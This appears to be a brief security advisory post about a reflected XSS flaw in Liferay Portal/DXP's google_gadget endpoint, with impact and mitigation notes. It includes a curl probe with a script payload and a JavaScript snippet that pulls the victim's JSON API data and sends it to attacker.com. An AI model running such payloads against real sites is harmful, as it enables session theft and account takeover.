Listen to this Post
This vulnerability is a reflected Cross-Site Scripting (XSS) flaw within the `google_gadget` component of Liferay Portal and Liferay DXP. The affected versions fail to properly sanitize user-supplied input before including it in the web page output. Specifically, the gadget parameter or a similar vector is not subjected to adequate output encoding or validation. When a malicious actor crafts a URL containing a JavaScript payload and tricks a user into clicking it, the unsanitized input is reflected by the server and executed within the victim’s browser context. This occurs because the application takes the user-controlled data from the request and immediately echoes it back in the HTTP response without neutralization. The `google_gadget` endpoint processes this tainted data, allowing the injected script to run with the privileges of the user’s session. This enables the attacker to perform actions on behalf of the user, such as session hijacking or defacement.
Platform: Liferay Portal/DXP
Version: <=7.4.3.132
Vulnerability: Reflected XSS
Severity: Moderate
date: 2025-10-21
Prediction: 2025-11-18
What Undercode Say:
curl -s "http://vulnerable-liferay.com/web/guest/google-gadget?gadget=http://evil.com/malicious.xml&a=<script>alert('XSS')</script>"
<script>
fetch('/api/jsonws/invoke', {credentials: 'include'})
.then(r => r.json())
.then(d => document.location='http://attacker.com/?c='+btoa(JSON.stringify(d)));
</script>
How Exploit:
Craft malicious URL.
Phish authenticated user.
Execute session theft.
Protection from this CVE
Sanitize gadget parameter.
Implement Content Security Policy.
Deploy latest security patch.
Impact:
Session hijacking.
Privilege escalation.
Client-side compromise.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

